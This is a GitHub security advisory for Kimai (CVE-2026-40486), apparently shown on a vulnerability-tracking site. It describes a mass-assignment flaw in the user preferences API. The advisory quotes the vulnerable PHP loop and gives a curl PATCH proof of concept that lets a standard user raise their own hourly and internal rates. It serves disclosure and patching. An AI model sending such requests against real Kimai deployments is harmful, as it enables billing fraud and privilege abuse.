GHSA-QH43-XRJM-4GGP

Vulnerability from github – Published: 2026-04-15 19:46 – Updated: 2026-04-15 19:46
VLAI?
Summary
Kimai's User Preferences API allows standard users to modify restricted attributes: hourly_rate, internal_rate
Details

Summary

A Mass Assignment / Broken Object Property Level Authorization (BOPA) vulnerability in the User Preferences API allows any authenticated user (even those with the lowest privileges) to arbitrarily modify restricted financial attributes on their profile, specifically their hourly_rate and internal_rate.

Details

Kimai restrictively protects the hourly_rate and internal_rate parameters during standard GUI flow. Users lacking the hourly-rate role permissions cannot see or edit these fields via the standard Web Form (UserApiEditForm / UserEditType).

The vulnerability exists in the dedicated preferences API endpoint: src/API/UserController.php::updateUserPreference.

When a PATCH request is sent to /api/users/{id}/preferences, the endpoint iterates through the submitted JSON array and blindly applies the new values:

foreach ($request->request->all() as $preference) {
    // ... validation omitted ...
    if (null === ($meta = $profile->getPreference($name))) {
        throw $this->createNotFoundException(\sprintf('Unknown custom-field "%s" requested', $name));
    }

    $meta->setValue($value); // <-- VULNERABILITY
}

The underlying Role-Based Access Control logic (UserPreferenceSubscriber::getDefaultPreferences) accurately identifies that standard users lack the hourly-rate role, and flags the dynamically generated preference object as disabled ($preference->setEnabled(false)).

However, the updateUserPreference API endpoint entirely ignores this isEnabled() flag and forcefully saves the mutated object to the database natively via Doctrine ORM. This allows unauthorized accounts to manipulate the business-logic variables calculating their own financial earnings.

PoC

  1. Log into Kimai as an unprivileged, standard employee account (a user with absolutely no roles array privileges).
  2. Capture the cookie or Session cookies. (In this example, the user's ID is 2).
  3. Send the following cURL request (or intercept via Burp Suite) targeting your own user ID:
curl -i -X PATCH "http://localhost:8001/api/users/2/preferences" \
  -H "Content-Type: application/json" \
  -H "cookie: <YOUR_STANDARD_USER_TOKEN>" \
  -d '[
  {
    "name": "hourly_rate",
    "value": "1337"
  },
  {
    "name": "internal_rate",
    "value": "1337"
  }
]'
  1. The server responds with HTTP/1.1 200 OK. (Note: The hourly_rate will intentionally NOT appear in the JSON echo due to User::getVisiblePreferences sanitizing output based on the same disabled flag).
  2. If an Administrator organically views User 2's profile within Kimai, or if the user logs any new timesheets, the active and billed hourly_rate applied to their account will be confirmed as 1337. user_account admin_account

Impact

This is a Privilege Escalation and Business Logic Flaw impacting the core financial calculations of the application. An attacker with a standard user account can manipulate their own billing rate multipliers unbeknownst to administrators, resulting in fraudulent invoices, distorted timesheet exports, and unauthorized financial tampering.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.52.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:46:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Mass Assignment / Broken Object Property Level Authorization (BOPA) vulnerability in the User Preferences API allows any authenticated user (even those with the lowest privileges) to arbitrarily modify restricted financial attributes on their profile, specifically their `hourly_rate` and `internal_rate`.\n\n### Details\nKimai restrictively protects the `hourly_rate` and `internal_rate` parameters during standard GUI flow. Users lacking the `hourly-rate` role permissions cannot see or edit these fields via the standard Web Form (`UserApiEditForm` / `UserEditType`). \n\nThe vulnerability exists in the dedicated preferences API endpoint: `src/API/UserController.php::updateUserPreference`.\n\nWhen a `PATCH` request is sent to `/api/users/{id}/preferences`, the endpoint iterates through the submitted JSON array and blindly applies the new values:\n```php\nforeach ($request-\u003erequest-\u003eall() as $preference) {\n    // ... validation omitted ...\n    if (null === ($meta = $profile-\u003egetPreference($name))) {\n        throw $this-\u003ecreateNotFoundException(\\sprintf(\u0027Unknown custom-field \"%s\" requested\u0027, $name));\n    }\n\n    $meta-\u003esetValue($value); // \u003c-- VULNERABILITY\n}\n```\n\nThe underlying Role-Based Access Control logic (`UserPreferenceSubscriber::getDefaultPreferences`) accurately identifies that standard users lack the `hourly-rate` role, and flags the dynamically generated preference object as disabled (`$preference-\u003esetEnabled(false)`). \n\nHowever, the `updateUserPreference` API endpoint entirely ignores this `isEnabled()` flag and forcefully saves the mutated object to the database natively via Doctrine ORM. This allows unauthorized accounts to manipulate the business-logic variables calculating their own financial earnings.\n\n### PoC\n1. Log into Kimai as an unprivileged, standard employee account (a user with absolutely no `roles` array privileges). \n2. Capture the `cookie` or Session cookies. (In this example, the user\u0027s ID is `2`).\n3. Send the following cURL request (or intercept via Burp Suite) targeting your own user ID:\n\n```bash\ncurl -i -X PATCH \"http://localhost:8001/api/users/2/preferences\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"cookie: \u003cYOUR_STANDARD_USER_TOKEN\u003e\" \\\n  -d \u0027[\n  {\n    \"name\": \"hourly_rate\",\n    \"value\": \"1337\"\n  },\n  {\n    \"name\": \"internal_rate\",\n    \"value\": \"1337\"\n  }\n]\u0027\n```\n\n4. The server responds with `HTTP/1.1 200 OK`. (Note: The `hourly_rate` will intentionally NOT appear in the JSON echo due to `User::getVisiblePreferences` sanitizing output based on the same disabled flag).\n5. If an Administrator organically views User 2\u0027s profile within Kimai, or if the user logs any new timesheets, the active and billed `hourly_rate` applied to their account will be confirmed as `1337`.\n\u003cimg width=\"1542\" height=\"1039\" alt=\"user_account\" src=\"https://github.com/user-attachments/assets/fff5e2da-d598-408d-8a01-784499ade844\" /\u003e\n\u003cimg width=\"1539\" height=\"1037\" alt=\"admin_account\" src=\"https://github.com/user-attachments/assets/86a6e8c3-a97f-4be3-9f9f-2e23fad1d8a0\" /\u003e\n\n### Impact\nThis is a Privilege Escalation and Business Logic Flaw impacting the core financial calculations of the application. An attacker with a standard user account can manipulate their own billing rate multipliers unbeknownst to administrators, resulting in fraudulent invoices, distorted timesheet exports, and unauthorized financial tampering.",
  "id": "GHSA-qh43-xrjm-4ggp",
  "modified": "2026-04-15T19:46:45Z",
  "published": "2026-04-15T19:46:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-qh43-xrjm-4ggp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai\u0027s User Preferences API allows standard users to modify restricted attributes: hourly_rate, internal_rate"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…